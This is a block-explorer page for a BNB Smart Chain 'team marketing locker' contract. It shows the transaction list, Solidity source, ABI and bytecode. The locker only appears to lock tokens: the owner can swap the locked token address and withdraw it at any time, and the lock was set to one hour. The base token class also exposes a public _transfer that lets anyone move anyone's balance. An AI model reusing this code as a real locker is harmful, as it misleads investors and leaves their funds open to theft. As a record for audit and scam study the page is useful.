Contract 0x45715a4b197bd16ba19cd0663d6d8a2050409d64

 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x32de32cce70e8bf53ac4a635365b811ae9ab9a799d123e0fb00b987fb394eb21Get Token Funds117584742021-10-14 7:00:325 days 5 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x553db510f4d1aecf789337d4a1460a7dceb3924cbefe78dc005b13fd1a3ad2e5Set Wallet117584592021-10-14 6:59:475 days 5 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000142365
0x790d00971c7223fb0ca8e18bcf67e3ea1a518738abe9ebf3a1bc144e90eb09c5Get Token Funds111543232021-09-23 3:38:1426 days 8 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0xdc631f10ac99a103a9d771329baabc020de3630fbfe42a5c53567ff9ee07ac73Get Token Funds110154782021-09-18 7:14:1931 days 5 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0xcb9986adaf63aeb3f6d59f5475ced7b729113829b0c10a860f85189faf4edf24Get Token Funds107522412021-09-09 2:45:3240 days 9 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0xb0989db45ccda12ff0c5e23d2ec87358ac84492337ff7476e4331be6a1155bffGet Token Funds107002442021-09-07 6:45:3642 days 5 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x9cbe908eeb976fada62d1cd6523abe6c3bffe2576603e30f8fc0c822d4d6a8baGet Token Funds106825512021-09-06 15:47:2142 days 20 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x19431e8bbd810d04d3b702735f7cf77b67af8455211b739b2dad33476bafb13eGet Token Funds105568712021-09-02 6:22:0447 days 6 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x51debae4db9df8a7c15d5ba1d07e0ff9b7d27b07e4c1ed68b63d1751935bf175Get Token Funds102849362021-08-23 16:55:3456 days 19 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x3a4054db599ffeebeda4842a554a7ff0135be054d015b9c66390e8a860c414a9Get Token Funds101254982021-08-18 3:13:2262 days 9 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x5d27b9fe81e659854bce70a9244f242ecc16312042857e1bef266c680e12f3d6Get Token Funds100706922021-08-16 5:23:1764 days 7 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x8c9822939dcd51ebf249fce6397cae4f865d85326307a8a35c4c271d561ce087Get Token Funds100163702021-08-14 7:59:4166 days 4 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0xf3517ec32cc02227bb3566bc52416b3d8df11dabee04b0c5d7b93e7d01498c32Get Token Funds99514342021-08-12 0:54:4768 days 11 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000212205
0x46fb16a3dbf1275a33e68697db44fa5bb8cedf7e653277639d517951b3b87d2bGet Token Funds99378342021-08-11 12:39:3868 days 23 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0xb3ba29742509db0594c89d0c5e6537a3d71aea099ee26e02d8302d533cc9f098Get Token Funds98988122021-08-10 3:32:3370 days 8 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x8fab0dfb91654e8b732d514d6e11febed6ada4e87e01420e9ef9016dd68ccbb7Get Token Funds98556172021-08-08 14:47:5371 days 21 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x32a363cb256df62f34c99df481ee6e4d04676193bb5742974691883f288d0c2cGet Token Funds97958402021-08-06 11:30:1274 days 53 mins ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x47636805306035ce5ff09cc7f9d03eba3f0f81706f3e3bf66e81c9388060360cGet Token Funds97334422021-08-04 5:47:5776 days 6 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x90b9b55e4526598b709013d701c3dbc675eda0849fced9078fd98e58f2915af6Get Token Funds96483102021-08-01 3:52:2579 days 8 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0xa24b9b12dd55775bb2bddb0b21e597a1f6e54a9fed7491c11a3cbe43a7f5f409Get Token Funds96277082021-07-31 10:07:1080 days 2 hrs ago0xd79d8b7ac2c94ef0dac2332de06cdd08f91d6bd4 IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000212205
0x3d6c470816cbb1990a9ab0393c9146b6b4791abfd47eb54ab484d6bf9c3632e7Transfer Ownersh...96010342021-07-30 11:33:1481 days 50 mins ago0xabcd4fd2dddddec9851005d3cfde1f2c5856878f IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000154195
0x814297a703e700891874843c552ac5325c25f85fa5dbb3a983732e2cc80e9947Set Wallet96010322021-07-30 11:33:0881 days 50 mins ago0xabcd4fd2dddddec9851005d3cfde1f2c5856878f IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000142365
0x7247a0d64f2cd218e702dd57714aa22ad04d15f3a7d2c3184ec6b0b124262e7dGet Token Funds95910752021-07-30 3:06:3581 days 9 hrs ago0xabcd4fd2dddddec9851005d3cfde1f2c5856878f IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x9f353454b9edac222a7b98c41272c22e39a79bc54df3105ba99dcf6b4389d792Get Token Funds95620072021-07-29 1:20:2082 days 11 hrs ago0xabcd4fd2dddddec9851005d3cfde1f2c5856878f IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.000137205
0x17826ff2ad78c3d5deef7c3fe38b796dc75efdd0bc01b4dae50b4da90027b098Get Token Funds95501772021-07-28 14:52:4782 days 21 hrs ago0xabcd4fd2dddddec9851005d3cfde1f2c5856878f IN  0x45715a4b197bd16ba19cd0663d6d8a2050409d640 BNB0.0001399491
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BabyADATeamMarketingLocker

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-07-26
*/

/**
 *Submitted for verification at BscScan.com on 2021-07-13
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.6.2;


interface IBEP20 {
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}




/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () public {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract BEP20 is Context, Ownable, IBEP20 {
    using SafeMath for uint;

    mapping (address => uint) internal _balances;

    mapping (address => mapping (address => uint)) internal _allowances;

    uint internal _totalSupply;
  
    function totalSupply() public view override returns (uint) {
        return _totalSupply;
    }
    function balanceOf(address account) public view override returns (uint) {
        return _balances[account];
    }
    function transfer(address recipient, uint amount) public override  returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address towner, address spender) public view override returns (uint) {
        return _allowances[towner][spender];
    }
    function approve(address spender, uint amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
        return true;
    }
    function increaseAllowance(address spender, uint addedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
        return true;
    }
    function _transfer(address sender, address recipient, uint amount) public{
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        
       
        _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
       
    }
 
    function _approve(address towner, address spender, uint amount) internal {
        require(towner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[towner][spender] = amount;
        emit Approval(towner, spender, amount);
    }
    
}

contract BEP20Detailed is BEP20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor (string memory tname, string memory tsymbol, uint8 tdecimals) internal {
        _name = tname;
        _symbol = tsymbol;
        _decimals = tdecimals;
        
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
}



library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

library SafeBEP20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IBEP20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IBEP20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IBEP20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeBEP20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    function callOptionalReturn(IBEP20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeBEP20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeBEP20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
        }
    }
}


abstract contract BEP20Interface {
    function balanceOf(address whom) view public virtual returns (uint);
}

contract BabyADATeamMarketingLocker is Ownable{
  using SafeMath for uint256;

  // The token being sold  change NAME to match above contract
  BEP20 public realtoken;

    //uint256 public totalAmountAvailable = 450000000 * (10**18);
    uint256 public totalsold = 0;
  // Address where funds are collected
  address payable public wallet;

  // How many token units a buyer gets per wei
  uint256 public rate;
  uint256 public lockTime;

  // Amount of wei raised
  uint256 public weiRaised;
  bool public canClaim = false;
  
   mapping (address => uint) internal _walletbalances;
    mapping (address => bool) internal _presalercollected;

  /**
   * Event for token purchase logging
   * @param purchaser who paid for the tokens
   * @param beneficiary who got the tokens
   * @param value weis paid for purchase
   * @param amount amount of tokens purchased
   */
  event TokenPurchase(
    address indexed purchaser,
    address indexed beneficiary,
    uint256 value,
    uint256 amount
  );

 // change type of last parameter to match the above token
  constructor(address payable _wallet, BEP20 tokenaddress, uint256 NumHours) public {
    require(_wallet != address(0));
    wallet = _wallet;
    realtoken = tokenaddress;
    lockTime = now + (NumHours * 60 * 60);
  }

  fallback () external payable {
   
  }
  
  receive () external payable {
     
  }
  
 function getTokenFunds(BEP20 tokenAddress) public onlyOwner {
     require(tokenAddress != realtoken);
     uint256 balance = tokenAddress.balanceOf(address(this));
      tokenAddress.transfer(msg.sender, balance);
}

  function setRealContractAddress(BEP20 contAdd)public onlyOwner{
      realtoken = contAdd;
  }
  
  function setWallet(address payable newWallet)public onlyOwner{
      wallet = newWallet;
  }
  
  function claimTokens() public onlyOwner{
      require(now >= lockTime, "Current lock prevents withdrawal");
      uint256 balance = realtoken.balanceOf(address(this));
     realtoken.transfer(wallet, balance);
  }

function setlocktime(uint256 NumHours)public onlyOwner{
    require(now >= lockTime, "current Locktime cannot be changed");
    lockTime = now + (NumHours *60 * 60);
}

  /**
   * @dev Determines how ETH is stored/forwarded on purchases.
   */
  function _forwardFunds() internal {
    wallet.transfer(msg.value);
  }
  
  
  function queryERC20Balance(address _tokenAddress, address _addressToQuery) view public onlyOwner returns (uint) {
        uint256 contractBalance = BEP20Interface(_tokenAddress).balanceOf(_addressToQuery);
        return contractBalance;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"_wallet","type":"address"},{"internalType":"contract BEP20","name":"tokenaddress","type":"address"},{"internalType":"uint256","name":"NumHours","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"purchaser","type":"address"},{"indexed":true,"internalType":"address","name":"beneficiary","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokenPurchase","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"canClaim","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract BEP20","name":"tokenAddress","type":"address"}],"name":"getTokenFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_addressToQuery","type":"address"}],"name":"queryERC20Balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"realtoken","outputs":[{"internalType":"contract BEP20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract BEP20","name":"contAdd","type":"address"}],"name":"setRealContractAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"NumHours","type":"uint256"}],"name":"setlocktime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalsold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"weiRaised","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006002556007805460ff1916905534801561001f57600080fd5b50604051610c71380380610c718339818101604052606081101561004257600080fd5b5080516020820151604090920151909190600061005d6100f9565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600160a01b0383166100ba57600080fd5b600380546001600160a01b03199081166001600160a01b0395861617909155600180549091169290931691909117909155610e100242016005556100fd565b3390565b610b658061010c6000396000f3fe6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063ed18280311610059578063ed1828031461028f578063ee546a51146102a4578063f2fde38b146102df578063fa86b0fe14610312576100fe565b80638da5cb5b146101ff578063a352584814610214578063c8e3951514610229578063deaa59df1461025c576100fe565b8063521eb273116100c6578063521eb273146101665780636243f809146101975780636dc7a627146101c1578063715018a6146101ea576100fe565b80630d668087146101005780632c4e722e146101275780634042b66f1461013c57806348c54b9d14610151576100fe565b366100fe57005b005b34801561010c57600080fd5b50610115610345565b60408051918252519081900360200190f35b34801561013357600080fd5b5061011561034b565b34801561014857600080fd5b50610115610351565b34801561015d57600080fd5b506100fe610357565b34801561017257600080fd5b5061017b610507565b604080516001600160a01b039092168252519081900360200190f35b3480156101a357600080fd5b506100fe600480360360208110156101ba57600080fd5b5035610516565b3480156101cd57600080fd5b506101d66105ba565b604080519115158252519081900360200190f35b3480156101f657600080fd5b506100fe6105c3565b34801561020b57600080fd5b5061017b610665565b34801561022057600080fd5b50610115610674565b34801561023557600080fd5b506100fe6004803603602081101561024c57600080fd5b50356001600160a01b031661067a565b34801561026857600080fd5b506100fe6004803603602081101561027f57600080fd5b50356001600160a01b03166106f4565b34801561029b57600080fd5b5061017b61076e565b3480156102b057600080fd5b50610115600480360360408110156102c757600080fd5b506001600160a01b038135811691602001351661077d565b3480156102eb57600080fd5b506100fe6004803603602081101561030257600080fd5b50356001600160a01b031661085a565b34801561031e57600080fd5b506100fe6004803603602081101561033557600080fd5b50356001600160a01b0316610952565b60055481565b60045481565b60065481565b61035f610ac3565b6000546001600160a01b039081169116146103af576040805162461bcd60e51b81526020600482018190526024820152600080516020610aee833981519152604482015290519081900360640190fd5b600554421015610406576040805162461bcd60e51b815260206004820181905260248201527f43757272656e74206c6f636b2070726576656e7473207769746864726177616c604482015290519081900360640190fd5b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561045157600080fd5b505afa158015610465573d6000803e3d6000fd5b505050506040513d602081101561047b57600080fd5b50516001546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b1580156104d857600080fd5b505af11580156104ec573d6000803e3d6000fd5b505050506040513d602081101561050257600080fd5b505050565b6003546001600160a01b031681565b61051e610ac3565b6000546001600160a01b0390811691161461056e576040805162461bcd60e51b81526020600482018190526024820152600080516020610aee833981519152604482015290519081900360640190fd5b6005544210156105af5760405162461bcd60e51b8152600401808060200182810382526022815260200180610b0e6022913960400191505060405180910390fd5b610e10024201600555565b60075460ff1681565b6105cb610ac3565b6000546001600160a01b0390811691161461061b576040805162461bcd60e51b81526020600482018190526024820152600080516020610aee833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60025481565b610682610ac3565b6000546001600160a01b039081169116146106d2576040805162461bcd60e51b81526020600482018190526024820152600080516020610aee833981519152604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6106fc610ac3565b6000546001600160a01b0390811691161461074c576040805162461bcd60e51b81526020600482018190526024820152600080516020610aee833981519152604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b6000610787610ac3565b6000546001600160a01b039081169116146107d7576040805162461bcd60e51b81526020600482018190526024820152600080516020610aee833981519152604482015290519081900360640190fd5b6000836001600160a01b03166370a08231846040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561082657600080fd5b505afa15801561083a573d6000803e3d6000fd5b505050506040513d602081101561085057600080fd5b5051949350505050565b610862610ac3565b6000546001600160a01b039081169116146108b2576040805162461bcd60e51b81526020600482018190526024820152600080516020610aee833981519152604482015290519081900360640190fd5b6001600160a01b0381166108f75760405162461bcd60e51b8152600401808060200182810382526026815260200180610ac86026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61095a610ac3565b6000546001600160a01b039081169116146109aa576040805162461bcd60e51b81526020600482018190526024820152600080516020610aee833981519152604482015290519081900360640190fd5b6001546001600160a01b03828116911614156109c557600080fd5b6000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610a1457600080fd5b505afa158015610a28573d6000803e3d6000fd5b505050506040513d6020811015610a3e57600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519192506001600160a01b0384169163a9059cbb916044808201926020929091908290030181600087803b158015610a9357600080fd5b505af1158015610aa7573d6000803e3d6000fd5b505050506040513d6020811015610abd57600080fd5b50505050565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657263757272656e74204c6f636b74696d652063616e6e6f74206265206368616e676564a2646970667358221220c7b3d8c32bc0c719412736d03ca6e4f99744546affd495cf49c7e1a1954f9a5d64736f6c634300060c0033000000000000000000000000abcd4fd2dddddec9851005d3cfde1f2c5856878f000000000000000000000000a3902e6f17021121390603be54c1719dce19aeb50000000000000000000000000000000000000000000000000000000000000001

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000abcd4fd2dddddec9851005d3cfde1f2c5856878f000000000000000000000000a3902e6f17021121390603be54c1719dce19aeb50000000000000000000000000000000000000000000000000000000000000001

-----Decoded View---------------
Arg [0] : _wallet (address): 0xabcd4fd2dddddec9851005d3cfde1f2c5856878f
Arg [1] : tokenaddress (address): 0xa3902e6f17021121390603be54c1719dce19aeb5
Arg [2] : NumHours (uint256): 1

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 000000000000000000000000abcd4fd2dddddec9851005d3cfde1f2c5856878f
Arg [1] : 000000000000000000000000a3902e6f17021121390603be54c1719dce19aeb5
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000001


Deployed ByteCode Sourcemap

